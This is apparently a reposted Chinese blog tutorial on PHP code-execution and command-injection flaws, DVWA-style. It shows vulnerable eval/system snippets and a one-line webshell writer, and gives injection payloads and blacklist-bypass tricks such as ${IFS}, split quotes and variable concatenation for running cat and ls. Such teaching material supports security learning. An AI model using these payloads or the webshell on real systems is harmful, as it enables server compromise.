代码执行和命令执行
PHP敏感函数代码执行
eval:会把字符串作为代码来执行 preg_replace:执行一个正则的搜索和替换 assert:检查一个断言是否为false call_user_func:把第一个参数作为回调函数调用 call_user_func_array:调用回调函数,并把第一个数组参数作为回调函数的参数 create_function:增加一个匿名的函数
eval:
<?php @eval($_GET["arg"])?>
eval函数会将提交上来的值作为PHP代码处理,可以提交phpinfo(); 或者生成一句话shell
fputs(fopen('shell.php','w+'),'<?php @eval($_POST[pass])?>');
preg_replace:(5.5版本以上已废弃/e修饰符)
<?php
preg_replace("//e",$_GET['arg'],"start testing...");
?>
当replacement 参数构成一个合理的php代码字符串的时候,/e 修正符将参数当做php代码执行
create_function:
<?php
$test=$_GET["test"];
$new_func=create_function('$a,$b', $test);
$new_func(2,M_E);
?>
在php 中使用create_function创建一个匿名函数(lambda-style) 如未对参数进行严格的过滤审查,可以通过提交特殊字符串给create_function执行任意代码.
使用${${ }}简单绕过:
<?php
$str="echo \"Hello ".$_GET["arg"]."!!\"; ";
eval($str);
?>
代码使用反斜杠将echo后面的内容给转义了 与加addslashes()函数进行过滤是一样的 payload:arg=${${phpinfo()}}
PHP程序执行函数
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数 escapeshellcmd — shell 元字符转义 exec — 执行一个外部程序 passthru — 执行外部程序并且显示原始输出 proc_close — 关闭由 proc_open 打开的进程并且返回进程退出码 proc_get_status — 获取由 proc_open 函数打开的进程的信息 proc_nice — 修改当前进程的优先级 proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。 proc_terminate — 杀除由 proc_open 打开的进程 shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。 system — 执行外部程序,并且显示输出
最简单的例子:
<?php $test = $_GET['cmd']; system($test); ?>
payload:?cmd=whoami
这样即可执行系统命令
举一个类似DVWA里边的例子:
<?php
$test = $_GET['cmd'];
system("ping -c 3 " . $test);
?>
payload:?cmd=127.0.0.1;whoami
命令分隔符: 在Linux上,上面的;也可以用|、||代替 ;前面的执行完执行后面的 |是管道符,显示后面的执行结果 ||当前面的执行出错时执行后面的
在Windows上,不能用;可以用&、&&、|、||代替 &前面的语句为假则直接执行后面的 &&前面的语句为假则直接出错,后面的也不执行 |直接执行后面的语句 ||前面出错执行后面的
PHP 支持一个执行运算符:反引号(``) PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回
<?php echo `whoami`;?>
效果与函数 shell_exec() 相同,都是以字符串的形式返回一个命令的执行结果,可以保存到变量中
命令执行绕过技巧
黑名单绕过
<?php
$test = $_GET['cmd'];
$test = str_replace("cat", "", $test);
$test = str_replace("ls", "", $test);
$test = str_replace(" ", "", $test);
$test = str_replace("pwd", "", $test);
$test = str_replace("wget", "", $test);
var_dump($test);
system("ls -al '$test'");
?>
执行ls命令: a=l;b=s;$a$b payload:?cmd=./%27;a=l;b=s;$a$b;%27
cat 1.php文件内容: a=c;b=at;c=1.php;$a$b ${c} payload:?cmd=./%27;a=c;b=at;c=1.php;$a$b${IFS}$c;%27
单引号、双引号 c""at flag c""at fl""ag c""at fl''ag payload:?cmd=./%27;c''at${IFS}fl""ag;%27
反斜线 c\at fl\ag ?cmd=./%27;c\at${IFS}fl\ag;%27
绕过空格 ${IFS}、$IFS、$IFS$9 或者在读取文件的时候利用重定向符 < ?cmd=./';a=c;b=at;c=1.php;$a$b<$c;'
安全客的一篇命令绕过 https://www.anquanke.com/post/id/84920
相关的漏洞
strcut java
原文地址:https://www.cnblogs.com/wintrysec/p/11882409.html
- 在Scala项目中使用Spring Cloud
- Scala的面向对象与函数编程
- ASP.NET AJAX(1)__Microsoft AJAX LibraryASP.NET AJAX(1)__Microsoft AJAX Library
- 大数据流处理平台的技术选型参考
- PHP预定义变量数组种类概览
- PHP网络技术(二)——模拟网络灌水攻防
- PHP Predefined Interfaces 预定义接口
- 如何在咨询项目开展Inception
- PHP网络技术(三)——CURL实现跨服务取接口功能
- PHP网络技术(四)——Socket简介
- PHP网络技术(五)——cookie及记住用户名功能实现
- 数据优化
- Oracle12.2 多租户环境下的授权管理
- PHP网络技术(六)——session及与cookie的比较
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Flutter基础widgets教程-OverflowBox篇
- iOS音视频接入- TRTC语音聊天室
- vscode使用COS作为图床编写markdown文档
- 一文爱上可视化神器Plotly_express
- 神策大数据用户行为分析
- 3分钟短文:为了你少跳坑,Laravel写好了用户授权
- 巧用ingest pipeline实现Elasticsearch索引的重定向
- leetcode之错误的集合
- vue-element怎么给select下拉框赋值?
- vue 怎么将Checkbox 多选框选中的值提交
- Chrome的小恐龙游戏自动躲避障碍物
- Three.js教程(5):光源
- Three.js教程(6):几何体
- Three.js教程(7):材质
- Keep APP技术研究